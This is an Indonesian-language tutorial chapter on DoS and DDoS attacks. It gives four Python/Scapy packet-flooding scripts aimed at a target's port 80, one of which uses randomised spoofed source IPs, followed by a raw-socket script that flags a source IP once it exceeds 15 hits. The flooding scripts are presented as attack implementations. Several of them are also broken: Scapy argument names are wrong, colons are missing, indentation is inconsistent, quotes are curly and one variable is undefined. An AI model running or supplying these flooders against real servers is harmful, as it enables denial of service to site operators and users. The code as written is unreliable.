Serangan DoS & DDoS

Dalam bab ini, kita akan belajar tentang serangan DoS dan DdoS serta memahami cara mendeteksinya.

Dengan boomingnya industri e-commerce, server web sekarang rentan terhadap serangan dan menjadi sasaran empuk para peretas. Peretas biasanya mencoba dua jenis serangan -

  • DoS (Denial-of-Service)
  • DDoS (Distribted Denial of Service)

Serangan DoS (Denial-of-Service)

Serangan Denial of Service (DoS) adalah upaya peretas untuk membuat sumber daya jaringan tidak tersedia. Biasanya mengganggu host, sementara atau tanpa batas waktu, yang terhubung ke Internet. Serangan ini biasanya menargetkan layanan yang dihosting di server web penting seperti bank, gateway pembayaran kartu kredit.

Gejala serangan DoS

  • Performa jaringan yang sangat lambat.

  • Tidak tersedianya situs web tertentu.

  • Ketidakmampuan untuk mengakses situs web mana pun.

  • Peningkatan dramatis dalam jumlah email spam yang diterima.

  • Penolakan akses jangka panjang ke web atau layanan Internet apa pun.

  • Tidak tersedianya situs web tertentu.

Jenis Serangan DoS & Implementasi Python-nya

Serangan DoS dapat diimplementasikan pada tautan data, jaringan atau lapisan aplikasi. Sekarang mari kita belajar tentang berbagai jenis serangan DoS &; implementasinya dengan Python -

Port tunggal IP tunggal

Sejumlah besar paket dikirim ke server web dengan menggunakan IP tunggal dan dari nomor port tunggal. Ini adalah serangan tingkat rendah yang digunakan untuk memeriksa perilaku server web. Implementasinya dengan Python dapat dilakukan dengan bantuan Scapy. Skrip python berikut akan membantu mengimplementasikan serangan DoS port tunggal IP tunggal -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

Setelah dieksekusi, skrip di atas akan menanyakan tiga hal berikut -

  • Alamat IP sumber dan target.

  • Alamat IP nomor port sumber.

  • Ini kemudian akan mengirim sejumlah besar paket ke server untuk memeriksa perilakunya.

Port Ganda IP Tunggal

Sejumlah besar paket dikirim ke server web dengan menggunakan satu IP dan dari beberapa port. Implementasinya dengan Python dapat dilakukan dengan bantuan Scapy. Skrip python berikut akan membantu mengimplementasikan serangan DoS port ganda IP Tunggal -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Beberapa port tunggal IP

Sejumlah besar paket dikirim ke server web dengan menggunakan beberapa IP dan dari nomor port tunggal. Implementasinya dengan Python dapat dilakukan dengan bantuan Scapy. Skrip Python berikut menerapkan serangan DoS port ganda IP tunggal -

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

Beberapa port ganda IP

Sejumlah besar paket dikirim ke server web dengan menggunakan banyak IP dan dari beberapa port. Implementasinya dengan Python dapat dilakukan dengan bantuan Scapy. Skrip Python berikut membantu mengimplementasikan serangan DoS multi port Multiple IP -

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Serangan DDoS (Distributed Denial-of-Service)

Serangan Distributed Denial of Service (DDoS) adalah upaya untuk membuat layanan online atau situs web tidak tersedia dengan membebani dengan banjir besar lalu lintas yang dihasilkan dari berbagai sumber.

Tidak seperti serangan Denial of Service (DoS), di mana satu komputer dan satu koneksi Internet digunakan untuk membanjiri sumber daya yang ditargetkan dengan paket, serangan DDoS menggunakan banyak komputer dan banyak koneksi Internet, sering kali didistribusikan secara global dalam apa yang disebut sebagai botnet . Serangan DDoS volumetrik skala besar dapat menghasilkan lalu lintas yang diukur dalam puluhan Gigabit (dan bahkan ratusan Gigabit) per detik. Dapat dibaca secara detail dihttps://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.

Deteksi DDoS menggunakan Python

Sebenarnya serangan DDoS agak sulit dideteksi karena Anda tidak tahu host yang mengirimkan trafik itu palsu atau asli. Skrip Python yang diberikan di bawah ini akan membantu mendeteksi serangan DDoS.

Untuk memulainya, mari kita impor perpustakaan yang diperlukan -

import socket
import struct

from datetime import datetime

Sekarang, kita akan membuat soket seperti yang telah kita buat di bagian sebelumnya juga.

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

Kami akan menggunakan kamus kosong -

dict = {}

Baris kode berikut akan membuka file teks, dengan detail serangan DDoS dalam mode tambahan.

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

Dengan bantuan baris kode berikut, waktu saat ini akan ditulis setiap kali program berjalan.

file_txt.writelines(t1)
file_txt.writelines("\n")

Sekarang, kita perlu mengasumsikan klik dari IP tertentu. Di sini kami mengasumsikan bahwa jika IP tertentu mencapai lebih dari 15 kali maka itu akan menjadi serangan.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

Baris kode berikut akan memeriksa apakah IP ada dalam kamus atau tidak. Jika ada maka akan bertambah 1.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

Baris kode berikutnya digunakan untuk menghapus redundansi.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

Setelah menjalankan script di atas, kita akan mendapatkan hasilnya berupa file teks. Menurut skrip, jika IP mencapai lebih dari 15 kali maka itu akan dicetak karena serangan DDoS terdeteksi bersama dengan alamat IP itu.